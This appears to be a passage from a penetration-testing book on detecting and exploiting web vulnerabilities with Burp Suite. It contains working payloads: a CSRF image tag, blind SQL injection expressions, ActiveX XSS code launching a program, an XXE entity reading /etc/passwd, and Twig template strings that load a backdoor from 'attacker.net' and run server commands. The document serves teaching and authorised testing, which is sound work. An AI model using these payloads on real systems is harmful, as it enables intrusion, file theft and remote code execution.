We can configure a filter in Burp Suite to detect requests that have this information in the headers. To configure the filter, go to the Target tool, and then click on the Filter bar. Once there, select the XML file format, and if you want, write the content-type string that we know all requests need to have, as shown in the following screenshot:



After filtering the request that could be vulnerable, add common testing strings as a payload list in the Intruder ...





  

                            
                    Detecting SSTI

                
            
            
                
SSTI vulnerabilities depend a lot on the engine used by the tested application. However, the main idea in template engines is that you pass a parameter, which is interpreted by the engine, and it creates the view. So, most engines are waiting for a text to parse it and display it. Take the following as an example:

any=Hello 
<b>Hello</b> 

In the preceding example, the application receives a string and the engine automatically adds HTML tags to display it. Also, these engines can interpret values passed as parameters, such as operators. For example:

any=Hello ${7*7} 
Hello 49 

In this case, the engine evaluates the * operator with the values passed. So, if you pass an unexpected string as a parameter, it could be reflected, or it could be used to extract sensible information, as can be seen in the following:

personal_greeting=username<tag> 
Hello 
 
personal_greeting=username}}<tag> 
Hello user01 <tag> 

Here, the engine is interpreting the parameter to show the information related, as it was a query. James Kettle, in 2015, created a map to detect SSTI vulnerabilities depending on the engine used. The following screenshot shows Kettle's map to detect whether the SSTI exists, inferring from the inputs:



Detecting SSTI vulnerabilities using Burp Suite needs to be manual, and involves catching and entering the testing parameters to detect, first, what the engine used is, and then, whether it is vulnerable.



            

            
        
    




  

                            
                    Detecting SSRF

                
            
            
                
The basic idea behind SSRF is to find access to internal resources that can be manipulated to access unauthorized resources. For example, imagine that we have the following URL:

    https://site.com/process.php?url=192.168.2.34/data/

In this case, we have a website that is public behind the site.com domain, and it processes something using the information retrieved from an internal IP. If the developer does not validate the url parameter, a malicious user can access unauthorized resources located in the internal IP, or maybe in others that have the same visibility.

To detect this kind of vulnerability, we can use Burp Suite's Scanner, which will detect them automatically, or apply a filter in the Target tool to find requests that ...





  

                            
                    Summary

                
            
            
                
In this chapter, we learned about the tools Burp Suite uses to detect the most common vulnerabilities related to input validation weaknesses.

Most of them are detected using Burp Suite's Scanner, which is an active scanner that works while the pentester is navigating the application. So, it is more interactive and has more access to hide areas than other scanners. However, this vulnerabilities could be detected by sending crafted requests and putting attention in the response. For this task, the Intruder tool is the most useful of Burp Suite's tools.

In the next chapter, we will be looking for errors that are not related to input validation.



            

            
        
    




  

                            
                    Detecting Vulnerabilities Using Burp Suite

                
            
            
                
As we saw in the previous chapter, Burp Suite is useful for identifying different kinds of vulnerabilities. In the previous chapter, the majority of them were input validation errors that were detected using the Intruder tool. In this chapter, we will check errors that are not related to input validation weaknesses.

We will cover the following topics in this chapter:


	Detecting CSRF

	Detecting insecure direct object references

	Detecting security misconfigurations

	Detecting insecure deserialization

	Detecting OAuth-related issues

	Detecting broken authentication





            

            
        
    




  

                            
                    Detecting CSRF

                
            
            
                
Cross-Site Request Forgery (CSRF) is a vulnerability that allows a malicious user to make actions in an application, using the information stored in other applications. For example, imagine the scenario where you are logged in to different applications using just one network, which is a social network. If you send a request to the other sites, they will apply changes or actions, because they are using the information you have provided to the central application.

So, a malicious user can exploit an application by creating a fake form or fake URL to perform an action in that application. This forces the user to execute the application without his knowledge. For example, look at this HTML code, which has a hidden link into an <img> tag:

<img src="https://www.company.example/action" width="0" height="0"> 

In the beginning, you feel it's nothing different, it is just an inoffensive HTML tag. But when it is parsed, the browser gets the resource pointed by the tag and executes the URL. So, if a malicious user hides a URL that contains an action in this tag, such as change the password, the action will be made.



            

            
        
    




  

                            
                    Detecting CSRF using Burp Suite

                
            
            
                
The first thing you need to do in order to detect CSRF vulnerabilities is to map all the possible authorized actions that you can. This is because you need to test each action to discover if it is possible to execute any of them using the information stored. To map all these actions, you can use the Target tool.

Burp Suite uses different types of methods to map an application. Manually, Burp Suite can collect all the requests, resources, and URLs in a passive way; but of course, it is limited just to the user's scope. Burp Suite also can make an automatic map using spidering and crawling techniques.

In the following screenshot, you can see how Burp Suite is creating an application's tree with all the actions. ...





  

                            
                    Steps for detecting CSRF using Burp Suite

                
            
            
                
Of course, the Burp Suite scanner is able to detect CSRF flaws, but potentially using the parameter's information to call a function. To detect in a most assured way, we are going to use the Proxy tool and an extension called CSRF scanner.


	To install the CSRF scanner, go to the Extender tab in Burp Suite, and look at the BApp Store for the CSRF Scanner and click on Install, as follows:






	After the installation, a new tab will appear in Burp Suite, showing the tool, as follows:






	To detect a CSRF, enter the application that we think is vulnerable, and intercept a request using the Intercept is on button. Remember that, for all CSRF vulnerabilities, you need to be logged in, or have a session established. Right-click on Engagement tools and then Generate CSRF PoC. A new window will be opened with the HTML form generated, using the data exposed in the request, as follows:






	Verify that all the parameters are included in the form, and then copy it into Notepad or another text editor, and save it as an HTML file. Then open it in a web browser. You will just see a blank website with one single button, as follows:






	Click on Submit request and the form will be sent to the website. As this is a Proof of Concept (PoC), the page is intentionally blank, but if you need to create a more realistic page, you just need to add the form into the page. If the actions are executed, the URL is susceptible to CSRF.



The last tip, if you see that the application is using an anti-CSRF token, try to detect the vulnerability, because sometimes developers forget to use the token for all the functions, and it is possible to find someone that is vulnerable.



            

            
        
    




  

                            
                    Detecting Insecure Direct Object References

                
            
            
                
An Insecure Direct Object Reference (IDOR) vulnerability appears when a parameter gains access to a certain resource. By modifying this parameter, it is possible to access other resources that are not authorized for this user. Usually the affected parameters are used as control for the application's flow, for example, the named id, uid, r, url, ur, and so on.

These kinds of vulnerabilities could be detected using the Target tool in Burp Suite. Similar to the CSRF detection, the more URLs you detect, the more possibilities there are to find vulnerabilities:


	To add a target to the scope, go to Burp Suite, and using the secondary button of the mouse, click on Add to the scope option.

	Then go to the ...






  

                            
                    Detecting security misconfigurations

                
            
            
                
Security misconfigurations are relative. In this category, a lot of possible errors are introduced, and the most simple and accurate way to detect them using Burp Suite is through the scanner.


	Open Burp Suite and when the main Dashboard is displayed, click on New scan. Here it is possible to define the URL to scan, and some options, like credentials to log in to the application, as shown in the following screenshot:






	The tests are classified by categories. When the scan finishes, we can see that some issues are detected that are related to security misconfiguration, as shown in the following screenshot:





As we can see, there are issues like Unencrypted communications or Clear submission password that we could not detect by analyzing the request, but the scanner marks an issue.

Let's review some common security misconfigurations, which we will look into in detail in the following sections.



            

            
        
    




  

                            
                    Unencrypted communications and clear text protocols

                
            
            
                
There is a common issue that, in the most part, the developers and system administrators do not take into account; it is the use of unprotected communications channels. There are protocols that send information in clear text and, if a malicious user intercepts the traffic in the network, which is relatively easy, you can see all the information, irrespective of whether it's sensitive or not. This issue is commonly discarded, because the web applications are public; but remember that some of them are internal, and also could be visited from a public network.



            

            
        
    




  

                            
                    Default credentials

                
            
            
                
Another important issue that could be used to get full control of the server that is hosting the application is the default credentials. There are many web servers, mail servers, database servers, CMSs, eCommerce tools, and so on that, when installed, have established a default password. It is so easy for a malicious user to get access to these services and applications.



            

            
        
    




  

                            
                    Unattended installations

                
            
            
                
Sometimes when a system administrator installs software, this software comes with other packages, for testing purposes or just as part of the main software. It is important to have an inventory of these installations in order to disallow access or delete, if it is possible. A malicious user can discover these unattended installations and exploit vulnerabilities on them.



            

            
        
    




  

                            
                    Testing information

                
            
            
                
Some applications and packages have testing information that could provide access to a malicious user if it is active. For example, a common case is Oracle DBMS, which has a database with tables for testing purposes with a database administrator called tiger, for which the password is scott.



            

            
        
    




  

                            
                    Default pages

                
            
            
                
Applications, mostly web servers, have default pages that could be detected by the malicious user and taken as banner grabbing. 

Despite the Burp Suite scanner being useful in detecting this kind of issue, I recommend the use of a vulnerability scanner focused on infrastructure, for example Nessus, Qualys, Outpost24, OpenVAS, and so on.



            

            
        
    




  

                            
                    Detecting insecure deserialization

                
            
            
                
Deserialization is the process of passing some type of data to other data, to be managed by the application, for example, passing a JSON format request that is parsed and managed as XML by the application. Also, there are deserialization vulnerabilities where the technology used in the development is involved. These vulnerabilities pass resources of a certain type to binary objects.

To understand the vulnerability, review the next snippet of code, published in the CVE.2011-2092:

[RemoteClass(alias="javax.swing.JFrame")] 
public class JFrame { 
   public var title:String = "Gotcha!"; 
   public var defaultCloseOperation:int = 3; 
   public var visible:Boolean = true; 
} 

This code is the class definition of a data type called JFrame. In the next snippet of code, we can see how it is used:

InputStream is = request.getInputStream(); 
ObjectInputStream ois = new ObjectInputStream(is); 
AcmeObject acme = (AcmeObject)ois.readObject(); 

The issue is that any kind of data can be entered into the attributes, as there is no validation for them, as seen in the following lines of code:

Set root = new HashSet(); 
Set s1 = root; 
Set s2 = new HashSet(); 
for (int i = 0; i < 100; i++) { 
  Set t1 = new HashSet(); 
  Set t2 = new HashSet(); 
  t1.add("foo"); // make it not equal to t2 
  s1.add(t1); 
  s1.add(t2); 
  s2.add(t1); 
  s2.add(t2); 
  s1 = t1; 
  s2 = t2; 
} 

The vulnerability derives in a denial of services, due to which the application is unable to manage the inputs. This is an insecure deserialization vulnerability.



            

            
        
    




  

                            
                    Java Deserialization Scanner

                
            
            
                
Java Deserialization Scanner is a Burp Suite extension to detect issues in the following:


	Apache common collections 3 and 4

	Spring

	Java 6, 7, and 8

	Hibernate

	JSON

	Rome

	BeanUtils




	To get it, go to the Extender tool, and click on BApp Store, and then install the package. After the installation finishes, Burp Suite will have a new tab in the interface that will show the tool as follows:






	Click on the Configuration tab, and in the following we can see the scans that are activated in the plugin:






	Now, to test an ...






  

                            
                    Detecting OAuth-related issues

                
            
            
                
OAuth is an open standard that allows authorization in applications by sharing the authorization information between different applications without sharing the user's identify. This is the current standard used by Facebook, Google, Twitter, Plurk, and so on.

The most commons issues related to OAuth are the following:


	Insecure storage secrets: OAuth is information that is stored on the client side. If the application does not store the OAuth information in the correct way, it exposes access to more than one application.

	Lack of confidentiality: OAuth is a protocol that shares the authentication information with more than one application, but, what happens if it is shared with the wrong application? Well, it could be reused by other applications to steal the user's access.

	URL redirection: If an application has a vulnerability that allows redirects, the malicious user can steal the OAuth information.





            

            
        
    




  

                            
                    Detecting SSO protocols

                
            
            
                
There is an extension named EsPReSSO that is available in the BApp Store that detects the SSO protocol used by an application and classified. The protocols detected are the following:


	OpenID

	BrowserID

	SAML

	OAuth

	OpenID-Connect

	Facebook Connect

	Microsoft Account



After EsPReSSO is installed and when Burp Suite detects the use of an SSO protocol, it will be marked, and you can click on it to send it to the EsPReSSO tool to analyze what kind of protocol it is, as shown in the following screenshot:





            

            
        
    




  

                            
                    Detecting OAuth issues using Burp Suite

                
            
            
                
The issues related to OAuth are so different, and we will analyze some of them in the following sections.



            

            
        
    




  

                            
                    Redirections

                
            
            
                
Open Burp Suite and, using the Proxy tool, detect the possible redirection in an application. For example, imagine you have an application that is possible to access using a social network. This application has the following URL:

www.site.tv 

Intercept the request, and modify the URL in the header to the following:

attacker.com/www.site.tv 

The social network just verifies the string site.tv, and trusts the application. This is a vulnerability.



            

            
        
    




  

                            
                    Insecure storage

                
            
            
                
Burp Suite can detect if sensitive information is sent by an untrusted channel; if an OAuth token is sent by a clear text protocol or unencrypted channel, it could be intercepted and reused.

OAuth issues are very specific, but, taking into consideration the preceding mentioned issues, it is possible to detect the weaknesses.



            

            
        
    




  

                            
                    Detecting broken authentication

                
            
            
                
A broken authentication is a group of issues that affect applications. Some of them are listed here:


	Weak storage for credentials

	Predictable login credentials

	Session IDs exposed in the URL

	Session IDs susceptible to session fixations attacks

	Wrong time out implementation




	The session is not destructed after the logout

	Sensitive information sent by unprotected channels



We are going to explain how to detect these issues using Burp Suite.



            

            
        
    




  

                            
                    Detecting weak storage for credentials

                
            
            
                
The information about authentication has a big problem; it is not just stored on the server side, it also needs to be stored on the client side, maybe not in the form of user and password, but in tokens, sessions IDs, or other things that the application uses to track the user and provide access.

Using Burp Suite, it is possible to analyze where this information is stored. For example, it is very common to store the information in cookies, as shown in the following screenshot:



This is an example of basic authentication, which is a common authentication method for internal applications. This method has the big problem that it stores the credentials in base64 form into the header, so any person who has access to the header can get the password, and just decode it to plain text.

This is not the only issue; there are applications that store the credentials directly. For example, look at the following request:

POST /userinfo.php HTTP/1.1 
Host: testphp.vulnweb.com 
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Referer: http://testphp.vulnweb.com/login.php 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 20 
Connection: close 
Cookie: admin:admin 
Upgrade-Insecure-Requests: 1 
 
id=1 

Here we can see the credentials directly that are sent to the application in each request made by the client side.

There are other secure places to save credentials. For example, in the case of mobile applications, it is common to use files in the internal or external device storage that are read by the application.

The trick is to understand the flow in the application using the Proxy tool to determine how the application receives the credentials and what the tool is doing with them, which is the method used, where they are stored, if they are reused, and what kind of token or track ID is used for the user.



            

            
        
    




  

                            
                    Detecting predictable login credentials

                
            
            
                
Some applications use predictable logins, meaning that it is possible for a malicious user to guess the next or the previous username registered. For example, imagine that an online bank uses the account number as the username for its application; a malicious user can create a list of possible account numbers, that are mostly sequential to guess the username.


A great tool to detect this kind of vulnerability is Intruder, which is in the Payloads section and has an option to create a sequential list, as shown in the following screenshot:



Also, it is possible to create sequential dates, and there is even ...





  

                            
                    Session IDs exposed in the URL

                
            
            
                
This is not a very common issue, but in the past, there were a lot of applications adding session IDs in URLs. For example, look at the following screenshot:



Once you have detected the variable used to store the session ID, you can apply a filter to detect all the sessions in the URLs.

Look at the next screenshot. Here a token is detected by the scanner, and Burp Suite lists all the exposed tokens:





            

            
        
    




  

                            
                    Session IDs susceptible to session fixation attacks

                
            
            
                
The main problem when an application uses just one ID to track the session is that this ID can be used to steal the session. For example, if you use the Burp Suite Proxy tool, you can intercept the request where the session ID is sent. This session ID is created just for one user. For example, see the following request:

GET /login.php HTTP/1.1 
Host: 192.168.1.67 
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Connection: close 
Cookie: HPSESSID=784uaocq9lb6uthqcc259imks1 
Upgrade-Insecure-Requests: 1 

Now, using another ...





  

                            
                    Time out implementation

                
            
            
                
To detect this issue, you don't require the use of a tool like Burp Suite; just open the application, log in, and wait to know what time is needed to close the session automatically. Applications like online banks need to close the session in a determinate time by compliance.

Closing the sessions after some time is a good idea; in a case where a user has stolen a session, it could reduce the impact on the application.



            

            
        
    




  

                            
                    Session is not destructed after logout

                
            
            
                
To check if an application correctly closes the session, open the application using Burp Suite and then log in to the application with valid credentials:


	As you can see from the following screenshot, the application created a session that is used as a guest user:






	Now, access the application, and you will see that the application now creates a new session as a logged user.

	Close the session, as follows:






	If the application correctly destroyed the session, it is not possible to resend a request. Go to ...






  

                            
                    Summary

                
            
            
                
In this chapter, we reviewed how to detect specific vulnerabilities. While in the previous chapter, the vulnerabilities explained were detected by detecting patterns, in this case, the vulnerabilities needed more understanding about the application's flow.

The flaws explained in this chapter could be used to gain access to sensitive information, break authorization and authentication, and be part of a bigger compromise. In the next chapter, we will be exploiting different kinds of vulnerabilities using Burp tools and extensions.



            

            
        
    




  

                            
                    Exploiting Vulnerabilities Using Burp Suite - Part 1

                
            
            
                
Burp Suite is an excellent tool to detect vulnerabilities. As we've seen in the previous chapters, it has a large variety of tools and options, and of course, extensions to help us to be more accurate and efficient while looking for bugs in an application. However, Burp Suite also has options to help us to exploit vulnerabilities, generate a proof about the exploitation, and reproduce the exploitation all of the times this is needed.

In this chapter, we will check how to exploit different kinds of vulnerabilities using Burp Suite's options, and in some cases the tools and extensions. We will be looking at the following topics in the chapter:


	Data exfiltration via a blind Boolean-based ...






  

                            
                    Data exfiltration via a blind Boolean-based SQL injection

                
            
            
                
An SQL injection is a vulnerability based on an input validation error, which allows a malicious user to insert unexpected SQL statements into an application to perform different actions on it. For example, extract information, delete data or modify the original statements.

There are three types of SQL injections, as follows:


	In-band SQL injection: This type of SQL injection has the characteristic that is possible to analyze using the same channel used to send the statement. It means that the response generated by the database management system (DBMS) is received in the same analyzed application.

	Inferential: This type of SQL injection is different from the previous one, as it is not possible to see the errors or the results in the application's response. We need to infer what is happening in the application's backend or use external channels to get the information. At the same time, into the inferential SQL injections are further divided into two types:

	Boolean-based blind SQL injection: In this type of SQL injection, the statements are focused on changing a Boolean value into the application in order to get different responses. Even though the SQL injection result is not showed directly, the HTTP response content could change to infer the result.

	Time-based blind SQL injection: This inferential SQL injection depends on the time lapsed to generate a response by the database server. With time variations, it is possible to infer whether the SQL injection is successful or not. To do so, the malicious user inserts functions included in the DBMS to determine what is happening in the backend.





	Out-of-band SQL injection: In this type of SQL injection, it is not possible to use the same channel to see the error response or infer the result directly. So, we need to use an external channel to know whether the SQL injection is successful or not. For example, using second data storage to receive the results, such as DNS resolution to infer the time lapsed in a request, which is not possible to see in the application.



We will see how it is possible to use Burp Suite to exploit a Boolean-based SQL injection vulnerability.



            

            
        
    




  

                            
                    The vulnerability

                
            
            
                
Analyze the following snippet of PHP code:

ini_set('display_errors', 0); 
$connection = $GLOBALS['connection']; 
 
$id = ($_POST['id']); 
 
$query_statement = "SELECT * from polls where id = ".$id; 
$result = $conection->query($query_statement); 
if ($result->num_rows > 0 ){ 
   while($row = $result->fetch_assoc()){ 
         echo "<p class=''>Thank you for your response!</p>"; 
   } 
} 

This code uses the $id variable, which is a number, to pass information to a query that is directly executed on the database in a SELECT statement. The $id variable is used in a WHERE expression to look for the exact $id variable passed by the user and only display filtered information depending on the number in the variable $id variable.

The most important thing about ...





  

                            
                    The exploitation

                
            
            
                
Imagine this database just has 10 registers, so if a user passes a number 1 as value to the $id variable, the application returns the first register. When the user enters the number 10, the application returns the last register. However, when the user enters the value 11, the application does not have a register to show, but it does not show any error explaining to the user that it is not showing anything because it has nothing more to show. The output just doesn't do anything.

As the application is not validating the value entered into the $id variable, a user can enter any kind of information. For example, a '1 or 1=1-- string, which is a common string used to detect SQL injection flaws. However, as we said, the application will not show an error.

Forgetting that the application is not showing errors, why is it possible to enter a string, such as '1 or 1=1--? We will see in the flow given here:


	When the user enters the '1 or 1=1-- string, this string is converted to a true value, which is interpreted by the application as a number 1, so, the application returns the first register.

	What happens if we pass a value out of 1 to 10? If we pass the number 11 to the $id variable, the WHERE conditional will try to look for the eleventh register, but as it is missing, the $query_statement variable will not have a register stored in itself. When the following if statement in the PHP code verifies the register stored in the $query_statement variable, the application will fail.

	We know that when the application receives a number between 1 to 10, the application will work; and also, we know that we can pass an arbitrary statement when a result is a number between 1 to 10. Keeping this in mind, it is valid if we pass the 11-1 value.

	The result of 11-1 is 10; therefore, when the WHERE conditional verifies the $id value, it will have a number 10, so the application will show the last value. This is the key for exploiting this vulnerability!



Now, use a more complex statement, as follows:

11-(select case when '0'='0' then 1 else 0 end) 

This statement produces a final number 10 as value to $id; now, also consider the following statement:

11- (select case when 'a'=(substring((select 'abcd'),1,1)) then 1 else 0 end) 

The preceding statement produces the same result. So, both of them could be accepted, executed by the backend and without showing the result. Also, if we generate a statement which is executed, but the final value is different from 1 to 10, the error will not be shown.

With this statement as the base, we can use Burp Suite to perform data exfiltration in the following section.



            

            
        
    




  

                            
                    Performing exfiltration using Burp Suite

                
            
            
                
Execute the following steps to perform data exfiltration using Burp Suite:


	First, configure Burp Suite to intercept the request made by the application, and stop when the request which sends the $id value, using the Intercept is on option in the Proxy tab, as shown in the following screenshot:






	Once the request is stopped, right-click on it, and select the Send to intruder option, as follows:





By default, Burp Suite creates wildcards for each variable detected in the request and creates values in the ...





  

                            
                    Executing OS commands using an SQL injection

                
            
            
                
One of the most severe impacts of SQL injection attacks is the command execution at the OS level. Most of the time, if the user executes system commands, this results in the whole server and the application being compromised.



            

            
        
    




  

                            
                    The vulnerability

                
            
            
                
The command injection vulnerabilities into SQL injections usually occur because the DBMS has a stored procedure or an allowed native option, which interacts directly with the OS. For example, xp_cmdshell on SQL Server, or a specially stored procedure developed in Java for Oracle.

In some cases, it is also possible that the application stores the database strings that are extracted by a query and executed; so, if we can update the database, we could inject a command into the server. However, as I mentioned, this is not a common case.

Once we have detected a vulnerability related to command injection, we can use Burp Suite to exploit it. For example, let's examine the following request from an application:


This request was ...





  

                            
                    Executing an out-of-band command injection

                
            
            
                
As we've mentioned many times, the most important Burp Suite feature is the automation capability. As we will explore later on this book, we can create our own plugins to extend Burp Suite, or we can find a lot of extensions made by the community.

There is an extension called SHELLING, which is focused on the payload list creation for command injection attacks. We'll look at this more closely in the following section.



            

            
        
    




  

                            
                    SHELLING

                
            
            
                
SHELLING is a plugin that is not available in the BApps Store, so you will need to go the GitHub to get it https://github.com/ewilded/shelling. Download the .jar file and install it using the Extender option in Burp Suite:


	To do this, click on the Extender tab, and click on the Manual install button. Burp Suite will launch a window to select the .jar file. Because SHELLING is not included as an official extension, Burp Suite will launch the following warning message to confirm that you want to install it:






	After it is installed, you will not see anything different on your Burp Suite instance. This is because SHELLING does not modify ...






  

                            
                    Stealing session credentials using XSS

                
            
            
                
XSS is a vulnerability which can be used for many purposes. It launches a popup with a message to take control of the computer affected by the XSS. A common attack is to steal credentials or sessions using XSS.



            

            
        
    




  

                            
                    Exploiting the vulnerability

                
            
            
                
Imagine we have the following vulnerable request, where the name parameter is vulnerable to XSS:

GET /dvwa/vulnerabilities/xss_r/?name=cosa HTTP/1.1 
Host: 192.168.1.72 
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Referer: http://192.168.1.72/dvwa/vulnerabilities/xss_r/ 
Connection: close 
Cookie: security=low; PHPSESSID=3nradmnli4kg61llf291t9ktn1 
Upgrade-Insecure-Requests: 1 

You can catch it with the Burp Suite's proxy, and modify the parameter's value using the common testing string, as follows:

<script>alert(1)</script> 

Quit Intercept ...





  

                            
                    Taking control of the user's browser using XSS

                
            
            
                
As I mentioned before, perhaps the highest impact by an XSS is to take control of the user who is affected.

The way to do this essentially depends on the actions allowed by the web browser to execute actions using JavaScript or other client interactions, which can be passed by the malicious user in the XSS. In fact, it is not necessary to execute the JavaScript directly. For example, it's possible to exploit XSS in Internet Explorer executing ActiveX controls, like the following:

<script> 
   var o=new ActiveXObject("WScript.shell"); 
   o.Run("program.exe") 
</script> 

This code will launch another program in the remote computer, so it's possible to execute any kind of attacks on the client side.



            

            
        
    




  

                            
                    Extracting server files using XXE vulnerabilities

                
            
            
                
XXE is a vulnerability that affects an application that parses XML and made a mistaking when parsing an XML that has reference to an XXE.



            

            
        
    




  

                            
                    Exploiting the vulnerability

                
            
            
                
Imagine we have an application susceptible to an XXE vulnerability, where we have a vulnerable request as shown in the following screenshot:



Here, the xml parameter is vulnerable to an XXE and the header, as shown in the following block:

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 

It means that this is a request that is accepting XML as the input. So, we will modify the input using the Burp Suite's Proxy, to see if the application is accepting our testing string. To do this, we are going to use the following input:

<!DOCTYPE foo [ <!ELEMENT  ANY> <!ENTITY bar "cosa">  <!ENTITY barxee "&amp;bar; XEE" > ]> <foo> &amp;barxee; </foo> 

If it's accepted, the application will show the message that we are passing in the XML input. So, modify the xml parameter with this input, and click on Intercept is on to send the request. The result will be displayed in the HTML website, as follows:

</div> 
 
<div class="container"> 
 
 
 
Hello   
 
cosa 
      <footer> 
        <p>&amp;copy; PentesterLab 2013</p> 
      </footer> 

Now, we know the vulnerability is exploitable, so we're going to send a string to extract files from the server. To extract files using an XXE attack, we need to have more information about the server where the application is hosted, at least the OS. Using the headers included in the response, it is possible to know what the OS is, as follows:

HTTP/1.1 200 OK 
Date: Sat, 16 Feb 2019 21:17:10 GMT 
Server: Apache/2.2.16 (Debian) 
X-Powered-By: PHP/5.3.3-7+squeeze15 
X-XSS-Protection: 0 
Vary: Accept-Encoding 
Content-Length: 1895 
Connection: close 
Content-Type: text/html 
X-Pad: avoid browser bug 

This header could be modified by a system administrator, if you have doubts you can use a network tool, such as Nmap (www.nmap.org), to confirm.

In this case, the server is Debian Linux. So, the testing string that we need to use for our attack needs to be in compliance with the Unix-like file systems, as follows:

<!DOCTYPE foo  [<!ENTITY bar SYSTEM "file:///etc/passwd">]> <foo>&amp;bar;</foo> 

Using this, we are going to retrieve the /etc/passwd file, which, in some cases, are stored as password hashes in a Linux system. So, send the original request to the Repeater tool, modify the xml parameter with this string, and click on Go, as shown in the following screenshot:





Currently, not all of the Linux systems use the /etc/passwd file to store the hashes; in the past, as a pentester, presenting a screenshot like the preceding one was the perfect evidence to show the vulnerability risk. However, nowadays, there are a lot of Linux systems that store their hashes in /etc/shadow, which is ciphered, or in many cases, limit the access that the server user has to the file system.

Depending on the context of the application, you need to determine which files to extract. For example, as a tip, it's very useful to extract files from the web server's root directory, in order to get access to source code.



            

            
        
    




  

                            
                    Performing out-of-data extraction using XXE and Burp Suite collaborator

                
            
            
                
Burp Suite collaborator is a service used to detect vulnerabilities mostly when an application tries to interact with external services. Burp Suite analyzes the interactions with external systems and detects unusual behaviors. In order to analyze the application, Burp Suite collaborator sends inputs or payloads to the application and waits for a response.

So, in this case, Burp Suite is working a server, where the application interacts using common services, such as DNS, SMTP, or HTTP.



            

            
        
    




  

                            
                    Using Burp Suite to exploit the vulnerability

                
            
            
                
Open Burp Suite in the main Dashboard tab, and click on the New scan option, as demonstrated in the following screenshot. Remember that these options are only available in Burp Suite Professional, and not in the Community Edition:



When you use the scanner, Burp Suite tests the application for vulnerabilities. Here, you can modify options about how the scanner did its job, and also configure credentials for automatic login. This is very important for the most part of application, because most of them have authentication control. For exploiting the XXE, we are going to launch a simple scan to the URL that we have. After clicking on the OK button, the scan starts.

When the scan finishes, Burp Suite will show us the XXE detected in the URL, as shown in the following screenshot:



In the preceding list, we can see that there are some issues that include the phrase External service interaction, followed by the protocol used. If we select one of these issues, Burp Suite will show us a new tab called Collaborator interaction, as demonstrated in the following screenshot:







Burp Suite collaborator allows the users to configure their own server, but if you do not configure one, the collaborator uses the Portswigger's server by default. By analyzing the request, we can detect that the collaborator sent the following parameter:

GET /xml/example1.php?xml=%3c!DOCTYPE%20test%20[%3c!ENTITY%20%25%20j27pf%20SYSTEM%20%22http%3a%2f%2fdgxknwuc7fqeysa0w53lpzt2wt2mqceb22psdh.burpcollaborator.net%22%3e%25j27pf%3b%20]%3e%3ctest%3ehacker%3c%2ftest%3e HTTP/1.1 
Host: 192.168.1.66 
Accept-Encoding: gzip, deflate 
Accept: */* 
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 
Connection: close 
Cache-Control: max-age=0 

The response was as follows:

    <div class="container"> 
Hello   
 
Warning: simplexml_load_string(): http://dgxknwuc7fqeysa0w53lpzt2wt2mqceb22psdh.burpcollaborator.net:1: parser error : internal error in /var/www/xml/example1.php on line 4 
 
Warning: simplexml_load_string(): <html><body>zz4z85vbr0640exz8e6wvvzjlgigrgjfigz</body></html> in /var/www/xml/example1.php on line 4 
 
Warning: simplexml_load_string(): ^ in /var/www/xml/example1.php on line 4 
 
Warning: simplexml_load_string(): http://dgxknwuc7fqeysa0w53lpzt2wt2mqceb22psdh.burpcollaborator.net:1: parser error : DOCTYPE improperly terminated in /var/www/xml/example1.php on line 4 
 
Warning: simplexml_load_string(): <html><body>zz4z85vbr0640exz8e6wvvzjlgigrgjfigz</body></html> in /var/www/xml/example1.php on line 4 
 
Warning: simplexml_load_string(): ^ in /var/www/xml/example1.php on line 4 
 
Warning: simplexml_load_string(): http://dgxknwuc7fqeysa0w53lpzt2wt2mqceb22psdh.burpcollaborator.net:1: parser error : Start tag expected, '<' not found in /var/www/xml/example1.php on line 4 
 
Warning: simplexml_load_string(): <html><body>zz4z85vbr0640exz8e6wvvzjlgigrgjfigz</body></html> in /var/www/xml/example1.php on line 4 
 
Warning: simplexml_load_string():  ^ in /var/www/xml/example1.php on line 4 
      <footer> 
        <p>&amp;copy; PentesterLab 2013</p> 
      </footer> 

The collaborator used a string to identify the vulnerability. If we review the collaborator's request and response, not the HTTP request, it is different. We can see which string is used as follows:



Reading the HTML code in the response, we can find the following string:

Warning: simplexml_load_string(): <html><body>zz4z85vbr0640exz8e6wvvzjlgigrgjfigz</body></html> in /var/www/xml/example1.php on line 4 



            

            
        
    




  

                            
                    Exploiting SSTI vulnerabilities to execute server commands

                
            
            
                
SSTI is a vulnerability that occurs when an application is using a framework to display how it is presented to the user. These templates are inputs, and if those inputs are not correctly validated, they can change the behavior.

These vulnerabilities depend a lot on the technology used by the developers to create the application, so not all of the cases are the same, and as a pentester, you need to identify these differences and its effects on how vulnerability is exploited.



            

            
        
    




  

                            
                    Using Burp Suite to exploit the vulnerability

                
            
            
                
Imagine you have a vulnerable application to SSTI that is using Twig. Twig (https://twig.symfony.com/) is a template engine developed in PHP.

We can detect the use of an engine because of the source code. Consider the following code snippet:

var greet = 'Hello $name'; 
<ul> 
<% for(var i=0; i<data.length; i++) 
{%> 
<li><%= data[i] %></li> 
<% } 
%> 
</ul> 
<div> 
<p> Welcome, {{ username }} </p> 
</div> 

Here, we can see that the application is waiting for data to present the final website to the user. When PHP reads the template, it executes all of the things that are contained there. For example, in 2015, James Kettle published a vulnerability that allows injecting a backdoor in Twig using the following string:

{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}} 

Following the same idea, it is possible to execute any command, even getting shell, using the following string:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} 
uid=1000(k) gid=1000(k) groups=1000(k),10(wheel) 

